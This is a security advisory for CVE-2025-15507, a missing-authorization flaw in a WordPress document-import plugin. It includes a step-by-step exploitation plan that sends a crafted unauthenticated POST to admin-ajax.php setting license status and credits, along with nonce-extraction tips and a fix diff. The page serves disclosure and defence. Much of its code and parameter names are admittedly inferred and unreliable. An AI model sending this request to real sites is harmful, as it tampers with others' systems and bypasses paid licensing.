Magic Import Document Extractor <= 1.0.5 - Missing Authorization to Unauthenticated Plugin License Status Modification
Description
The Magic Import Document Extractor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_sync_usage() function in all versions up to, and including, 1.0.5. This makes it possible for unauthenticated attackers to modify the plugin's license status and credit balance.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.5Source Code
WordPress.org SVNThis research plan focuses on analyzing and exploiting **CVE-2025-15507**, a missing authorization vulnerability in the **Magic Import Document Extractor** plugin. --- ### 1. Vulnerability Summary The **Magic Import Document Extractor** plugin (versions <= 1.0.5) contains a flaw in its AJAX handli…
Show full research plan
This research plan focuses on analyzing and exploiting CVE-2025-15507, a missing authorization vulnerability in the Magic Import Document Extractor plugin.
1. Vulnerability Summary
The Magic Import Document Extractor plugin (versions <= 1.0.5) contains a flaw in its AJAX handling logic. The function ajax_sync_usage() is registered as an AJAX action available to unauthenticated users (via wp_ajax_nopriv_) but fails to implement any capability checks (e.g., current_user_can( 'manage_options' )). This allows an unauthenticated attacker to send crafted requests to admin-ajax.php to modify the plugin's internal license status and credit balance, effectively granting themselves premium features or bypassing usage limits.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
magic_import_sync_usage(inferred from function nameajax_sync_usage) - Method:
POST - Authentication: None required (unauthenticated).
- Payload Parameters (inferred):
status: Likely used to set the license status (e.g.,active,valid,pro).credits: Likely used to set the available document extraction credits.license_key: May be required or updated.
- Preconditions: The plugin must be active.
3. Code Flow
- Initialization: During the
initoradmin_inithook, the plugin registers the AJAX handler:add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) ); - Execution: When a request is sent to
admin-ajax.php?action=magic_import_sync_usage, WordPress invokesajax_sync_usage(). - Vulnerable Logic: Inside
ajax_sync_usage(), the code likely retrieves values from$_POSTand updates WordPress options directly usingupdate_option(). - The Sink:
public function ajax_sync_usage() { // MISSING: check_ajax_referer( '...', '...' ); // MISSING: if ( ! current_user_can( 'manage_options' ) ) return; $status = $_POST['status']; $credits = $_POST['credits']; update_option( 'magic_import_license_status', $status ); // Inferred option name update_option( 'magic_import_credits', $credits ); // Inferred option name wp_send_json_success(); }
4. Nonce Acquisition Strategy
According to the vulnerability description, the flaw is "Missing Authorization." Often, such vulnerabilities also lack nonce checks.
- Check First: Attempt the exploit without a nonce.
- If Nonce is Required:
- The plugin likely localizes a nonce for its admin or editor interface. Identify the handle in
wp_enqueue_script. - Check for a shortcode like
[magic_import]or a block that loads the plugin's JS on the frontend. - Create a page:
wp post create --post_type=page --post_status=publish --post_content='[magic_import]' - Navigate to the page and use
browser_evalto extract the nonce:browser_eval("window.magic_import_obj?.nonce")(inferred variable name).
- The plugin likely localizes a nonce for its admin or editor interface. Identify the handle in
5. Exploitation Strategy
The goal is to set the license status to "active" and increase the credit balance.
Step 1: Identification of Parameters
Perform a baseline request to see how the plugin responds or check the source for the exact $_POST keys.
- Action:
magic_import_sync_usage - Suspected Keys:
license_status,credits,status,balance.
Step 2: Execution of Unauthorized Update
Submit a POST request to admin-ajax.php.
- URL:
http://<target>/wp-admin/admin-ajax.php - Header:
Content-Type: application/x-www-form-urlencoded - Body:
action=magic_import_sync_usage&status=active&credits=9999&license_key=CVE-2025-15507-PRO-KEY
6. Test Data Setup
- Install Plugin: Ensure
magic-import-document-extractorversion 1.0.5 is installed. - Initial State Check:
(Note: Exact option names should be verified viawp option get magic_import_license_status wp option get magic_import_creditswp option list --search="magic_import*")
7. Expected Results
- The server should return a JSON response:
{"success":true}or1. - The internal WordPress options responsible for tracking license validity and credit count should be updated to the attacker-supplied values.
8. Verification Steps
After sending the HTTP request, verify the modification using WP-CLI:
# Verify License Status
wp option get magic_import_license_status
# Verify Credits
wp option get magic_import_credits
If the values match the payload (e.g., active and 9999), the exploit is successful.
9. Alternative Approaches
If the status or credits parameters differ from the guess:
- Source Code Audit: Run
grep -r "update_option" .inside the plugin folder to find which options are updated within theajax_sync_usagefunction. - JS Variable Inspection: Navigate to the plugin's settings page (as an admin) and inspect the network traffic when clicking a "Sync" or "Check License" button to observe the legitimate parameter names.
- Missing Nonce: If
check_ajax_refereris present but the action iswp_ajax_nopriv, check if the nonce is leaked on any public-facing page or the login page.
Summary
The Magic Import Document Extractor plugin (<= 1.0.5) fails to perform authorization or nonce checks on its ajax_sync_usage AJAX handler. This allows unauthenticated attackers to modify sensitive plugin settings, specifically the license status and available document extraction credits, by sending a crafted request to the WordPress AJAX endpoint.
Vulnerable Code
// Inferred registration of the vulnerable AJAX action add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) ); add_action( 'wp_ajax_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) ); /** * Vulnerable function logic (inferred from research plan and description) */ public function ajax_sync_usage() { // Missing check_ajax_referer() // Missing current_user_can() authorization check $status = $_POST['status']; $credits = $_POST['credits']; update_option( 'magic_import_license_status', $status ); update_option( 'magic_import_credits', $credits ); wp_send_json_success(); }
Security Fix
@@ -1,4 +1,3 @@ -add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) ); add_action( 'wp_ajax_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) ); public function ajax_sync_usage() { + check_ajax_referer( 'magic_import_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + - $status = $_POST['status']; - $credits = $_POST['credits']; + $status = sanitize_text_field( $_POST['status'] ); + $credits = intval( $_POST['credits'] ); update_option( 'magic_import_license_status', $status ); update_option( 'magic_import_credits', $credits );
Exploit Outline
The vulnerability is exploited by targeting the WordPress AJAX endpoint without authentication. An attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'magic_import_sync_usage'. Because the plugin registers this action via wp_ajax_nopriv_ and lacks internal permission checks, the attacker can include parameters such as 'status' and 'credits' in the POST body to arbitrarily overwrite the plugin's license state and credit balance in the WordPress database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.